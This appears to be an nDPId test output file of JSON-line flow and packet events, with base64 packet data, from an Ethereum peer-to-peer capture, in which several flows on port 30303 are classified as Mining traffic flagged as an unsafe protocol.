+00429{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":936,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":187995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGvenAqAG4Etunn90\/dl9+5\/coX8vR14AQEBuepwAAAQEICiLYlq8SyYN8"} +00447{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":937,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":188056,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"KDc3AG3IEBMx8Tl2CABFAABD9iNAACMG5LYS26efwKgBuHZf3T9fy9HXfuf3KIAYANsFtgAAAQEIChLJg3wi2JZGUsWADRP8l5x1RNhHiotS"} +00429{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":938,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":188081,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGvenAqAG4Etunn90\/dl9+5\/coX8vR5oAQEBuemAAAAQEICiLYlq8SyYN8"} +00451{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":939,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":188179,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABE9iRAACMG5LQS26efwKgBuHZf3T9fy9Hmfuf3KIAYANuriAAAAQEIChLJg3wi2JZG8fBAxzjaRWd6BoyLtAOXEQ=="} +00429{"flow_id":38,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":188207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGvenAqAG4Etunn90\/dl9+5\/coX8vR9oAQEBqeiQAAAQEICiLYlq8SyYN8"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":954,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1578508365189,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"85.214.108.52","src_port":56654,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":954,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":189114,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGtk3AqAG4VdZsNN1Odl+\/h8KiAAAAALAC\/\/8jMQAAAgQFtAEDAwUBAQgKItiWsAAAAAAEAgAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":955,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1578508365189,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.219.167.159","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":955,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":189369,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACcflcAAEARfx\/AqAG4Etunn3Zfdl8AiGnBB7Pc5ZlsDZTbUrqaaoRxeL1l7Crbcxf\/BOXFZNGdyZsOxpmBlW67u9+KWe59CkWnKw2GIsEnEKk87oxTf3me3BvKcrMQD0jXMXlBXiHkLViPnwRaOVxyx4odh7D\/BO97AAHdBMuEfwAAAYJ2X4J2X8mEEtunn4J2X4CEXhYgYQU="} +00551{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":955,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1578508365189,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.219.167.159","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00426{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":986,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":194549,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0UNhAACEGQrU0u88bwKgBuHZf3S3Pd7n21PprjoAQAfmqiwAAAQEICm8lvuMi2JWb"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":987,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1578508365194,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"202.112.28.106","src_port":56655,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":987,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":194618,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGkX3AqAG4ynAcat1Pdl84sWAlAAAAALAC\/\/\/nsAAAAgQFtAEDAwUBAQgKItiWswAAAAAEAgAA"} +01040{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":990,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":195889,"pkt_caplen":517,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":517,"pkt_l4_len":483,"pkt":"KDc3AG3IEBMx8Tl2CABFAAH3UNlAACEGQPE0u88bwKgBuHZf3S3Pd7n21PprjoAYAfkNlQAAAQEICm8lvuQi2JWbAcEEfexCFt2jnTqWIQ4crQ8vIbdE1KnH8YHvTHdpE2WBn7WNjuJtME\/5vnUJYGr7Co2bbwwMFxhtwsytreX0hhXyzz4vHIJFNkShaTT69RQDTl8JRvcPBZIgYN0p4T9tQtR5KgrWxun53a8fpwaDpsVIRnZQamAF5FksKmPmU+VDHaAj46s7l\/R5UQLWsjIHELWVkUgWJPFcjF3u\/de1aUrt18amXqYuviEKJrRcI4W46S8iCbN40sw4USJH8pQnZj6nCivGF420eAl4bLGwXm6OC3x9HWg+adWTmjqRLwSmzOYgceT9nM2HE67tBp92+PIBvsqUepzgEHG3NzNqVT\/Pafhaaq+0cmnUve9S0dM4EbJaQeLfm9aii2YC1tqgtp4O4kJgoNgt+uHhwqqhICVTp7KiM3mzaycQCwfuRM+YVv+zy6rjZizKBuKWJuxoVA3kGYlrH4fhE2DXXIIIDUJNv3yUKH1G+YauLqqTQ+T9sYkmCT4ejriP40uTp4WcbyE5dKED9fbNOTmq5R7sjFiWkLpWsCbqSU3p7Tdjecyb\/U0XkIAb\/RGTov\/OHhEUynnOjnwjI08W8Va5i2+TGe7WgA=="} +00428{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":195994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdI3AqAG4NLvPG90tdl\/U+muOz3e7uYAQD\/uZrAAAAQEICiLYlrRvJb7k"} +00470{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":992,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196062,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUUNpAACEGQpM0u88bwKgBuHZf3S3Pd7u51PprjoAYAflAygAAAQEICm8lvuQi2JWbgX6Fl4FfV+V7Fw+vyS2B+j7eKfVJU6OhRdHQYOJjYy0="} +00428{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":993,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdI3AqAG4NLvPG90tdl\/U+muOz3e72YAQD\/+ZiAAAAQEICiLYlrRvJb7k"} +00431{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196181,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1UNtAACEGQrE0u88bwKgBuHZf3S3Pd7vZ1PprjoAYAfkJnQAAAQEICm8lvuUi2JWbnw=="} +00429{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdI3AqAG4NLvPG90tdl\/U+muOz3e72oAQD\/6ZhgAAAQEICiLYlrVvJb7l"} +00431{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196303,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2UNxAACEGQq80u88bwKgBuHZf3S3Pd7va1PprjoAYAfmtGAAAAQEICm8lvuUi2JWb+4I="} +00429{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196336,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdI3AqAG4NLvPG90tdl\/U+muOz3e73IAQD\/6ZhAAAAQEICiLYlrVvJb7l"} +00447{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196431,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBUN1AACEGQqM0u88bwKgBuHZf3S3Pd7vc1PprjoAYAfnvqgAAAQEICm8lvuUi2JWbXcW461yQNl22AdpCfw=="} +00451{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":196443,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEUN5AACEGQp80u88bwKgBuHZf3S3Pd7vp1PprjoAYAfkm7gAAAQEICm8lvuUi2JWbM+SmXeZsnaLqEmcbtsobRg=="} +00439{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1015,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":201994,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADIGTYGwCYjRwKgBuHZf3UxCOLg9KLlL3KAScSB8NwAAAgQFrAQCCAqsVDbiItiWngEDAwc="} +00427{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":202054,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGP4nAqAG4sAmI0d1Mdl8ouUvcQji4PoAQECwL1AAAAQEICiLYlrqsVDbi"} +01151{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":203398,"pkt_caplen":597,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":597,"pkt_l4_len":563,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJHAABAAEAGPXbAqAG4sAmI0d1Mdl8ouUvcQji4PoAYECzTgAAAAQEICiLYlrusVDbiAhEE8PJpnPbySdRqYDVxMP+F\/sUREqF\/ZPapL0ZkwOKMkrT9n4zoxh41j\/glS+PHo\/5d9kUdB0t8XsUegDI2rTK1qd731I+OxYB5atRAvsAHKjhEJvXyxBlcONwpQSP\/EbY3bHhBzCKl6skIsbvrHid\/G+pdbkvCg99m5ksWTyjKeOLBOEzpnsCQQJ46PAi5Gt+cDzFuB51Q88zUU35bDXVA0lLvIw+\/X9Ad5weyrfi170rwq+ovDDRTwLnXqPpcqTfzPWDebsd\/6JjsLeqiFe0w+TGqkb7XnmvyJRXCCSwZwNWBqW2wMglzYEG7ltbYW98qdjPkjWQR+9tsbEjKGZaGADeDpJTqev97xI1vdrueDinIGP0oRJzLadvSTqC2Ltp\/C5Yi2IWcYPY8sywmbCd7WiiseixOfbruQnBYJcuCqP9v9CzDCs5AIhr5M0ZuPRMu5dbjOvMkXJ3NW6ba6vBl30SnnPSKHWyXB5KIK4IjuThpFVBpTLHLgCfrizWGDE\/hM2VI817zJI53Z4uO\/Bb+w7RrXYUFd2cFzRSZ49MZ\/vQhuKbfvsBPQ88Ow0AARIwIVnac6G2XL8ek6PHG7zFReTp7DodXUTvDgJg7wZNQ8sPEdVrTFE2Fs9IZezbTOy5TaeVX30ypx3wwNi5iz9g3SdiXLC8HImUZXOcXLmnt\/fLL7x6cPdF8T6a4GSRCrRxx"} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1017,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1578508365169,"flow_last_seen":1578508365203,"flow_tot_l4_data_len":679,"flow_min_l4_data_len":32,"flow_max_l4_data_len":563,"flow_avg_l4_data_len":169,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"176.9.136.209","src_port":56652,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00439{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":210541,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADYGY+sj5PqMwKgBuHZf3UovaHbWeTxErqASbgBmbgAAAgQFjAQCCAqaQodaItiWjwEDAwc="} +00427{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1019,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":210643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGWfPAqAG4I+T6jN1Kdl95PESuL2h214AQECjytwAAAQEICiLYlsKaQoda"} +01052{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":212245,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"EBMx8Tl2KDc3AG3ICABFAAICAABAAEAGWCXAqAG4I+T6jN1Kdl95PESuL2h214AYECioawAAAQEICiLYlsOaQodaAcwEDGHd5l7+RqBaG9K9E7p7eG1uwAqixy4kSbBlThBTBG3PJd151620cEM1KQv3FuVJ+m1O2Bl3PuHLNFy9+uCW9rXxDdjuGQLXopWglXnwA4vfKEaNoP1guYL9OWT9VrChHEKiZqWq5OPiLXJzIZxm0n+wOzc0TDxP3Ht4K\/8RxdBrGYRmBMp07Ku6MClzvshXnlOvFHLazXKckRDG1GrWhz3NC7HBzBC9vkWn4WuX0jDrGRuGgtbmHSC64XeGp91\/wQF5bA7lAbI7LP3qdWbWTriU3RLdD8BmAS\/9dis\/zPdM5RETmZgdmAGlh3YwpDE5sG4MLluRHTzgmeIW7EmXVuGjbPylkf5LQudyfHFWA8SFV8O+KuOXVRm\/H7JIFsIytQFbbnKqauEeQrW+BY51hlWUwFSH9NDdlRqtdSDGMYgECxSuxXCShGy9Px\/C7H5nI3SxVQKdMhmtMLGuO5bZFjGsHe74YCTQbrTiV5NRiVqSYealCdEu8Pya28B4kuNJe4f9BwCRIHIINgi+gSgDYgqkleDY0V8p5fcl7nNE+5TRnQ6seUsPtEv7gQuDD9lZ+LTCKuzbZiHiplBuxx7+2Bnil1lw82hEQJ2q"} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1028,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1578508365153,"flow_last_seen":1578508365212,"flow_tot_l4_data_len":610,"flow_min_l4_data_len":32,"flow_max_l4_data_len":494,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.228.250.140","src_port":56650,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00427{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1036,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":220554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0oJ9AADIGTqSKyQxXwKgBuHZf3Uu6UG6Mx0dy24AQAOts7QAAAQEICrVvicEi2Jav"} +00886{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1048,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":221938,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"KDc3AG3IEBMx8Tl2CABFCAGABIRAADMGdOSsaV4+wKgBuHZf3UajVVX8HTpswoAYAfptVgAAAQEIChsBC4Ai2JZpAUoEKu4MH3rKRki\/wZp+pLlvmCPFUHz83D8Uysnt\/uVSh4\/tGNo7yls8\/eTe9O\/hr7SOV1EBx4PVYZOuxUD2kNNbbq8OFHsub+Eaf2\/vXqQJ42UcjEq0xsdn0Mb6yRBy3irW63B2ZO0tGPufyhr1qx5iYVFrzvDsahcfiz\/rgvBbA51rqTuRR72tiHPex3NpymrrfZVYAJzj6ID6s7NBoU8uZ6YwpcF+BbBTLe1WOjCYO0HeU91tAWCGxv5N4fgI3xhYBPyiMUaf8ZByFBcUIlT5\/Y6\/Av4xwTb8jmNTIp5B\/Xe9hypAe\/p9E0n68kPbQkph0SWhYtNpJGaUrwBs9enk6EWTDsy9ZvQEAT3x2rD6fZv23yoMyWZv94PS7zWbsvIhhSUK8LbmFjAvYJG0iZ7urnIVC+\/0HYOAQFFK35yaUkBVvQ1zhmP3AXY="} +00427{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1049,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":221982,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGbbzAqAG4rGlePt1Gdl8dOmzCo1VXSIAQECHhLQAAAQEICiLYlswbAQuA"} +00471{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":222816,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGbZzAqAG4rGlePt1Gdl8dOmzCo1VXSIAYECGKOQAAAQEICiLYlswbAQuAoajHoDvlsI1RFYeIr1BU6Plv3IFrsNXbbYl+z3dfqQI="} +00431{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1055,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":222829,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGbbvAqAG4rGlePt1Gdl8dOmzio1VXSIAYECH7AwAAAQEICiLYlswbAQuA5g=="} +00601{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":222888,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGbUDAqAG4rGlePt1Gdl8dOmzjo1VXSIAYECHwTAAAAQEICiLYls0bAQuA\/8zDJEpQT4Yl1eabVWhT5CDBH0yI5YUXfJ5IInROa2PfNnXkX7XZpeeddS8cfNH2dGApEfAw4aj1UCj4Num0GHGO\/FO60HnDPe48xLIA3jcsvdIQxVrdsBmBymc29XLWEq5KC1bvZabznoUEdw9TEeUI60T5uHLmP9DjKQ=="} +00432{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":222901,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGbbnAqAG4rGlePt1Gdl8dOm1fo1VXSIAYECEaKQAAAQEICiLYls0bAQuAPluI"} +00453{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":222932,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGbazAqAG4rGlePt1Gdl8dOm1io1VXSIAYECEtQwAAAQEICiLYls0bAQuAitllegMnso5\/74FyHFLvcw=="} +00439{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1061,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":223317,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADIGxFFV1mw0wKgBuHZf3U5vpmVtv4fCo6ASOJBjegAAAgQFrAQCCApls11ZItiWsAEDAwc="} +00428{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1062,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":223392,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGtlnAqAG4VdZsNN1Odl+\/h8Kjb6ZlboAQECy6hQAAAQEICiLYls1ls11Z"} 